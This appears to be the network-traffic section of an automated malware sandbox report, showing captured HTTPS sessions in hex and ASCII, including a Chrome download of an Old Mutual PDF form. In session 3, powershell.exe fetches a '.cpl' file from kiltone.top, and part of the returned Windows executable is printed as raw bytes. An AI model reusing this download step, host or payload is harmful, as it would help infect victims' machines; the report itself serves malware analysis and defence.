                                                                                                                                          Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google [TRUNCATED]
                                                                                                                                          2024-12-14 12:59:43 UTC9770INData Raw: 58 2d 57 65 62 4b 69 74 2d 43 53 50 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 66 6f 6e 74 2d 73 72 63 20 27 73 65 6c 66 27 20 64 61 74 61 3a 20 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2d 64 6d 73 2e 6f 6c 64 6d 75 74 75 61 6c 2e 63 6f 6d 2e 67 68 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2e 69 6e 74 65 72 70 61 79 61 66 72 69 63 61 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2d 64 6d 73 2e 6f 6c 64 6d 75 74 75 61 6c 2e 63 6f 6d 2e 67 68 2f 2a 20 68 74 74 70 73 3a 2f 2f 74 65 73 74 2e 69 6e 74 65 72 70 61 79 61 66 72 69 63 61 2e 63 6f 6d 2f 2a 20 20 68 74 74 70 73 3a 2f 2f 74 61 67 6d 61 6e 61 67 65 72 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f
                                                                                                                                          Data Ascii: X-WebKit-CSP: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://
                                                                                                                                          2024-12-14 12:59:43 UTC8659INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 68 74 6d 6c 2d 73 65 72 76 65 72 2d 72 65 6e 64 65 72 65 64 3d 22 74 72 75 65 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 76 75 65 2d 74 61 67 3d 22 25 37 42 25 32 32 6c 61 6e 67 25 32 32 3a 25 37 42 25 32 32 73 73 72 25 32 32 3a 25 32 32 65 6e 25 32 32 25 37 44 25 37 44 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 72 69 64 73 6f 6d 65 3a 68 61 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 39 65 39 36 32 33 32 30 34 35 63 61 65 63 63 63 63 33 64 30 61 33 35 61 39 39 34 37 35 32 30 65 38 31 63 37 38 63 66 39 22 3e 3c 6d 65 74 61 20 64 61 74 61 2d 76 75 65 2d 74 61 67 3d 22 73 73 72 22 20
                                                                                                                                          Data Ascii: <!DOCTYPE html><html data-html-server-rendered="true" lang="en" data-vue-tag="%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D"> <head> <title> </title><meta name="gridsome:hash" content="9e96232045caecccc3d0a35a9947520e81c78cf9"><meta data-vue-tag="ssr"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          2192.168.2.1149729108.158.75.924437948C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-12-14 12:59:42 UTC450OUTGET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1
                                                                                                                                          Host: www.oldmutual.co.za
                                                                                                                                          Connection: keep-alive
                                                                                                                                          Sec-Fetch-Site: none
                                                                                                                                          Sec-Fetch-Mode: navigate
                                                                                                                                          Sec-Fetch-Dest: empty
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                                                                          2024-12-14 12:59:42 UTC1058INHTTP/1.1 200 OK
                                                                                                                                          Content-Type: application/pdf
                                                                                                                                          Content-Length: 313058
                                                                                                                                          Connection: close
                                                                                                                                          Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                          Fastly-Io-Error: not a supported image format
                                                                                                                                          Fastly-Io-Served-By: vpop-etou8240196
                                                                                                                                          Fastly-Stats: io=1
                                                                                                                                          Server: contentstack
                                                                                                                                          X-Contentstack-Organization: blt2c31cdce6d24f06c
                                                                                                                                          X-Request-Id: 153d77aac8426bfb4b8c4c3c0751c407
                                                                                                                                          X-Runtime: 105ms
                                                                                                                                          Via: 1.1 varnish, 1.1 varnish, 1.1 fc56b8a676000a5893378ee9d2b55f78.cloudfront.net (CloudFront)
                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          Date: Sat, 14 Dec 2024 12:59:38 GMT
                                                                                                                                          X-Served-By: cache-ams21052-AMS, cache-fjr990022-FJR
                                                                                                                                          X-Cache-Hits: 5, 0
                                                                                                                                          X-Timer: S1734181179.578163,VS0,VE125
                                                                                                                                          Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length
                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                          Strict-Transport-Security: max-age=31557600
                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                          X-Cache: Hit from cloudfront
                                                                                                                                          X-Amz-Cf-Pop: BAH53-P2
                                                                                                                                          X-Amz-Cf-Id: w0ygHmoxmqa9-FvUVEllY55sRxyFOfV1eTpYYVg2TSzmq_wq0A_uhg==
                                                                                                                                          Age: 4
                                                                                                                                          2024-12-14 12:59:42 UTC16384INData Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76
                                                                                                                                          Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
                                                                                                                                          2024-12-14 12:59:43 UTC10463INData Raw: 27 06 fe bc d0 63 0f 61 5d 5e 56 70 d7 b5 de 4e bb 2e 2f 2b 56 fb 86 cb cb 8a ed 9d b3 2e 2f 2b b6 17 ae ba bc ac d8 5e b8 ea d2 b2 62 fb 6d e4 fe 1a 71 50 56 cc 5f 10 7c 5a 56 22 e6 95 f3 0d 15 71 55 7c 14 d4 ba c2 0b e2 69 59 59 27 5e f3 01 7e 1a 4d 63 d7 38 34 ba c6 d0 38 35 a6 c6 d2 28 3c 13 9e 09 cf 84 67 0f 75 22 46 7c a1 6c 55 3f 6d ac 6e 1a bb c6 a1 d1 35 86 c6 a9 31 35 d6 43 09 59 4f 0b 11 9e 1b 75 9f cd cf 16 6f 4b ba 97 74 2f e9 5e d2 bd 4c 2a 98 54 30 a9 60 52 c1 f2 fc d1 b7 25 0f 97 3c 5c f2 70 c9 c3 25 0f 97 3c 5c f2 70 c9 c3 d5 0e 0c bb cd 25 3f 2f f9 79 29 6e 4b 71 5b 8a db 52 dc 96 e2 b6 14 b7 b5 8e d0 55 e5 b3 84 aa de 92 ea 2d a9 de 92 ea 2d a9 de 92 a5 6c 38 15 91 73 e8 ea 0a a9 ae 90 ea 0a a9 ae 90 29 54 f5 a2 54 2f 4a f5 a2 2c 3b 42
                                                                                                                                          Data Ascii: 'ca]^VpN./+V./+^bmqPV_|ZV"qU|iYY'^~Mc8485(<gu"F|lU?mn515CYOuoKt/^L*T0`R%<\p%<\p%?/y)nKq[RU--l8s)TT/J,;B
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: 27 2f a0 5e 6c 35 f5 63 9b f1 7e 30 01 67 7a 1b 74 33 39 f9 21 9a 00 1e 03 13 41 39 28 05 95 60 3c a8 d2 e9 93 75 b9 4d 60 0a 88 06 76 90 06 72 41 0c 18 00 06 5e d5 6f 27 c7 70 cd bc ce b6 71 8b ca d1 bd fe 4b 62 10 59 c4 74 70 80 c2 44 6f e8 7d 74 87 28 82 6e 80 ee a5 7e 62 0a ca d7 e1 9d ba 52 1e a6 93 f0 a1 a9 94 c3 e6 cb 37 5a e3 5e 9a 0e bb 89 3e a4 1c 7a 1f f7 c8 62 e8 df a8 00 0c a3 27 71 3e df a3 be 2a 8f bd 4a b1 20 94 3d 44 85 74 02 7c 40 29 68 f3 14 1f 01 7f 5c 83 b6 6a d0 47 05 fc 6f 05 45 69 3b a6 d5 2e a1 bb 40 18 f3 40 3d d8 37 bb 51 67 0b 58 44 23 5a e2 7c 36 d8 6d a6 b5 72 1c 75 8f 53 34 b3 43 ed 58 17 65 7f 00 6d b1 97 63 0c 1a 35 f6 56 4e 52 1e c6 5f 08 46 ea 36 0a e9 b2 51 67 84 9a 13 1d a3 6c f4 19 86 f9 8c c0 fa 16 b1 5a 8c 17 d0 9f
                                                                                                                                          Data Ascii: '/^l5c~0gzt39!A9(`<uM`vrA^o'pqKbYtpDo}t(n~bR7Z^>zb'q>*J =Dt|@)h\jGoEi;.@@=7QgXD#Z|6mruS4CXemc5VNR_F6QglZ
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 78 9c 2b e4 32 54 48 e7 32 50 30 50 30 34 d1 33 30 b3 50 30 34 d6 33 36 33 53 28 4a e5 4a e3 0a e4 02 00 61 2d 06 2c 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 39 30 35 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 20 30 20 31 34 2e 30 36 38 20 31 33 2e 33 36 36 5d 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 30 38 2f 4d 61 74 72 69 78 5b 31 20 30 20 30 20 31 20 30 20 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 46 6f 6e 74 3c 3c 2f 5a 61 44 62 20 39 35 34 20 30 20 52 3e 3e 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 2f 54 65 78 74 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65
                                                                                                                                          Data Ascii: Type/XObject>>streamx+2TH2P0P0430P04363S(JJa-,endstreamendobj905 0 obj<</BBox[0 0 14.068 13.366]/Filter/FlateDecode/FormType 1/Length 108/Matrix[1 0 0 1 0 0]/Resources<</Font<</ZaDb 954 0 R>>/ProcSet[/PDF/Text]>>/Subtype/Form/Type/XObje
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: f4 ea e0 f3 c5 f3 f4 05 70 69 2c 6d cb 47 92 8b a2 b8 98 18 9c af 7f 83 c1 1a 08 c8 23 dd d8 ac 39 16 ec 19 5a 45 84 07 bb 83 a4 7f 33 8f e0 86 53 be ae 54 28 94 2a e8 80 e1 db 82 f8 56 81 0d fa c4 9d e5 65 f2 e9 81 c5 61 b3 a8 d1 e8 b6 b5 f0 0c cc 56 2b be eb d9 ac b6 ba 1a 5c 67 69 76 98 14 25 98 4d 5a fb 7f 43 5e 25 57 ab 25 37 d7 88 34 5d 96 8b 76 8e db 04 f7 c9 08 b2 8e a8 5f 53 4d c5 86 d3 3a 6a ba f0 a6 a9 34 ba df d1 10 6c f3 46 ce 8c 8e ae 0c fd 3d 36 b1 3f aa f8 09 be 27 93 65 fa 08 2c 90 13 4b 8d 44 a3 36 11 d0 50 44 bf 8e a1 af c5 8e 52 67 d0 91 bb 93 8a d7 e0 5b 20 f4 14 cc a6 56 ac c5 4b bc 4f 81 e4 9f 99 a9 3c 3d 28 e2 4b 2b 86 35 37 b1 37 19 63 09 be 1b 19 34 66 b3 a0 18 53 50 50 50 c7 77 0d e7 63 df c5 8b e9 a1 a1 ae 7d de 76 9f a5 a9 91
                                                                                                                                          Data Ascii: pi,mG#9ZE3ST(*VeaV+\giv%MZC^%W%74]v_SM:j4lF=6?'e,KD6PDRg[ VKO<=(K+577c4fSPPPwc}v
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: 53 53 75 9d cf c7 b7 b2 80 02 79 2a b5 e0 0b a9 3d cf c7 be 59 42 5d d8 2b c4 b1 e7 34 e3 f1 20 17 e5 a7 63 df 58 82 fc 24 b2 f1 a5 d4 06 69 ed 70 ee 06 30 1b 71 b6 18 67 7f 0e ce e4 df 42 5f c2 9a 5e 8f f4 67 c9 ce 36 41 d7 e3 db dc 47 43 c1 52 10 0f 12 14 43 40 12 18 01 dc 60 24 18 06 56 80 c7 41 4b d0 06 c8 e7 5d a0 2d 70 82 9e b7 bd b7 9e 6d a8 35 af be 75 dc a7 72 b4 48 17 22 9f b8 d8 42 5c d3 c8 21 46 c2 df 48 7e 62 1e f4 00 f4 08 f6 bb e5 28 ff 3c ca 67 e8 a5 f4 1d 74 04 05 b1 0d fa 27 55 fe 24 1a 85 b8 82 2a 28 88 7e c0 7a de 81 34 4e fd 40 7f da 8f ef e0 2b 6a 29 f3 58 39 ca 97 63 df 3d 40 71 e4 01 57 30 cf 19 7a 39 4f 21 62 59 b8 f7 65 e1 ae 35 1d fb fb 74 6a a5 62 47 55 3c 09 77 b1 49 28 37 01 3a 81 88 2f 83 ff 1a 58 48 03 bd 3e 9f a9 d2 91 56
                                                                                                                                          Data Ascii: SSuy*=YB]+4 cX$ip0qgB_^g6AGCRC@`$VAK]-pm5urH"B\!FH~b(<gt'U$*(~z4N@+j)X9c=@qW0z9O!bYe5tjbGU<wI(7:/XH>V
                                                                                                                                          2024-12-14 12:59:43 UTC15202INData Raw: 0b 80 b4 f8 41 76 90 b8 25 03 fe 3c fb a7 62 9e 4b 91 51 34 80 ab a9 23 38 b6 2c b8 8d 11 a4 e1 d9 49 31 2c 89 79 2a 37 92 48 51 82 33 f8 12 e5 8b 18 b3 9f c2 e7 27 80 08 fc c5 a9 c0 5f 15 c8 44 75 4d eb 84 53 54 d8 60 2d 42 50 0a 8e dd 87 62 95 40 7f a5 a9 d2 a8 af 82 07 b7 6f d0 75 de 5b db 49 ce 71 b2 c6 f1 e3 eb 0b 0b d7 17 17 e1 fa fa d2 c8 b9 48 e4 dc e8 e8 19 fa 8f bc 3f ff da c2 c2 b5 54 ea da 02 d8 2b 01 86 8b 9c 1d 1d 3d 1b 89 9c 19 c9 fb ec fb cc 67 02 f2 88 4e 15 96 e3 64 11 cc 4e 92 4a 56 4e 59 04 cc 6a 42 b9 86 af a0 56 e3 6d 6a 90 04 a2 90 ac 56 28 2e 78 0d 60 58 d5 70 f4 2f 5f 7c e9 7b 6f a6 f1 f6 44 3a 3d 47 c3 e5 ec e1 e3 17 fe 02 b4 1e 9f 18 8b 8e 61 e9 2e 5a f7 f7 cb b0 6f 05 d2 a3 a0 e8 df 0e ea c5 11 f5 fa ee 4a 25 49 b2 44 53 e5 12
                                                                                                                                          Data Ascii: Av%<bKQ4#8,I1,y*7HQ3'_DuMST`-BPb@ou[IqH?T+=gNdNJVNYjBVmjV(.x`Xp/_|{oD:=Ga.ZoJ%IDS
                                                                                                                                          2024-12-14 12:59:43 UTC1182INData Raw: 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 34 30 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 32 38 2e 36 38 20 31 33 2e 33 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62
                                                                                                                                          Data Ascii: 0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1040 0 obj<</BBox[0.0 0.0 28.68 13.32]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XOb
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 34 36 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 32 31 2e 39 36 20 31 33 2e 33 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 34 37 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42
                                                                                                                                          Data Ascii: ype/XObject>>stream/Tx BMC EMCendstreamendobj1046 0 obj<</BBox[0.0 0.0 21.96 13.32]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1047 0 obj<</BB
                                                                                                                                          2024-12-14 12:59:43 UTC16384INData Raw: 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 33 37 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 38 36 2e 32 38 20 31 31 2e 36 34 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54
                                                                                                                                          Data Ascii: [1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1137 0 obj<</BBox[0.0 0.0 86.28 11.64]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/T


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          3192.168.2.114973745.125.67.1684438352C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-12-14 12:59:45 UTC172OUTGET /stelin/rwcla.cpl HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                                                          Host: kiltone.top
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          2024-12-14 12:59:46 UTC253INHTTP/1.1 200 OK
                                                                                                                                          Server: nginx/1.18.0
                                                                                                                                          Date: Sat, 14 Dec 2024 12:59:45 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 211656
                                                                                                                                          Last-Modified: Fri, 13 Dec 2024 23:55:16 GMT
                                                                                                                                          Connection: close
                                                                                                                                          ETag: "675cc964-33ac8"
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          2024-12-14 12:59:46 UTC16131INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 71 8c 42 de 35 ed 2c 8d 35 ed 2c 8d 35 ed 2c 8d 46 8f 2f 8c 38 ed 2c 8d 46 8f 29 8c ac ed 2c 8d 46 8f 28 8c 23 ed 2c 8d 67 98 28 8c 3a ed 2c 8d 67 98 2f 8c 20 ed 2c 8d 67 98 29 8c 70 ed 2c 8d 46 8f 2d 8c 36 ed 2c 8d 35 ed 2d 8d 4a ed 2c 8d ff 98 25 8c 37 ed 2c 8d ff 98 d3 8d 34 ed 2c 8d ff 98 2e 8c 34 ed 2c 8d 52 69 63 68 35 ed 2c 8d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.$qB5,5,5,F/8,F),F(#,g(:,g/ ,g)p,F-6,5-J,%7,4,.4,Rich5,
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 6a ff 68 1d 0d 02 10 64 a1 00 00 00 00 50 81 ec a0 00 00 00 a1 14 f0 02 10 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 8d 4d e4 6a 00 89 75 ec c7 45 e0 00 00 00 00 e8 12 0d 00 00 c7 45 fc 00 00 00 00 8b 3d fc 0c 03 10 a1 dc 0c 03 10 89 45 e0 85 ff 75 2f 57 8d 4d e8 e8 f0 0c 00 00 39 3d fc 0c 03 10 75 10 a1 c0 fe 02 10 40 a3 c0 fe 02 10 a3 fc 0c 03 10 8d 4d e8 e8 28 0d 00 00 8b 3d fc 0c 03 10 8b 4e 04 3b 79 0c 73 10 8b 41 08 8b 34 b8 85 f6 0f 85 5d 01 00 00 eb 02 33 f6 80 79 14 00 74 10 e8 17 10 00 00 3b 78 0c 73 0e 8b 40 08 8b 34 b8 85 f6 0f 85 3b 01 00 00 8b 45 e0 85 c0 74 07 8b f0 e9 2d 01 00 00 6a 18 e8 28 2f 00 00 8b f0 83 c4 04 89 75 e8 c6 45 fc 01 0f 57 c0 8b 4d ec 0f 11 06 66 0f d6 46 10 8b 49 04 85 c9 74 0c 8b 41 18 85 c0 75 0a 8d
                                                                                                                                          Data Ascii: jhdP3EVWPEduMjuEE=Eu/WM9=u@M(=N;ysA4]3yt;xs@4;Et-j(/uEWMfFItAu
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 00 10 89 4d f8 89 45 fc 64 a1 00 00 00 00 89 45 e8 8d 45 e8 64 a3 00 00 00 00 ff 75 18 51 ff 75 10 e8 c7 2c 00 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 55 8b ec 83 ec 40 53 81 7d 08 23 01 00 00 75 12 b8 02 8c 00 10 8b 4d 0c 89 01 33 c0 40 e9 d1 00 00 00 83 65 c0 00 c7 45 c4 4e 8d 00 10 a1 14 f0 02 10 8d 4d c0 33 c1 89 45 c8 8b 45 18 89 45 cc 8b 45 0c 89 45 d0 8b 45 1c 89 45 d4 8b 45 20 89 45 d8 83 65 dc 00 83 65 e0 00 83 65 e4 00 89 65 dc 89 6d e0 64 a1 00 00 00 00 89 45 c0 8d 45 c0 64 a3 00 00 00 00 8b 45 08 ff 30 e8 7f 7b 01 00 59 8b 4d 08 89 01 c7 45 f8 01 00 00 00 8b 45 08 89 45 e8 8b 45 10 89 45 ec e8 bd 1d 00 00 8b 40 08 89 45 fc a1 38 11 02 10 89 45 f4 8b 4d fc ff 55 f4 8b 45 fc 89 45 f0 8d 45 e8 50 8b 45 08 ff 30 ff 55 f0 59 59 83 65 f8 00
                                                                                                                                          Data Ascii: MEdEEduQu,EdU@S}#uM3@eENM3EEEEEEEE EeeeemdEEdE0{YMEEEEE@E8EMUEEEPE0UYYe
                                                                                                                                          2024-12-14 12:59:46 UTC16384INData Raw: 50 8d 45 f8 53 50 e8 af 5f 00 00 8b 46 20 83 c4 28 c1 e8 05 5b a8 01 74 13 83 7e 28 00 75 0d ff 76 08 ff 76 34 e8 7f f7 ff ff 59 59 8a 46 31 3c 67 74 04 3c 47 75 17 8b 46 20 c1 e8 05 a8 01 75 0d ff 76 08 ff 76 34 e8 d1 f6 ff ff 59 59 8b 46 34 80 38 2d 75 08 83 4e 20 40 40 89 46 34 8b 56 34 8a 02 3c 69 74 0c 3c 49 74 08 3c 6e 74 04 3c 4e 75 08 83 66 20 f7 c6 46 31 73 8d 7a 01 8a 0a 42 84 c9 75 f9 2b d7 b0 01 5f 89 56 38 5e 8b e5 5d c3 8b ff 56 8b f1 57 ff 76 2c 0f b6 46 31 50 ff 76 04 ff 36 e8 c5 f3 ff ff 83 c4 10 8d 7e 40 84 c0 74 39 83 46 14 04 8b 46 14 53 8b 9f 04 04 00 00 0f b7 40 fc 85 db 75 02 8b df 50 8b cf e8 04 f3 ff ff 50 8d 46 38 53 50 e8 0f 50 00 00 83 c4 10 5b 85 c0 74 25 c6 46 30 01 eb 1f 8b 8f 04 04 00 00 85 c9 75 02 8b cf 83 46 14 04 8b 46
                                                                                                                                          Data Ascii: PESP_F ([t~(uvv4YYF1<gt<GuF uvv4YYF48-uN @@F4V4<it<It<nt<Nuf F1szBu+_V8^]VWv,F1Pv6~@t9FFS@uPPF8SPP[t%F0uFF
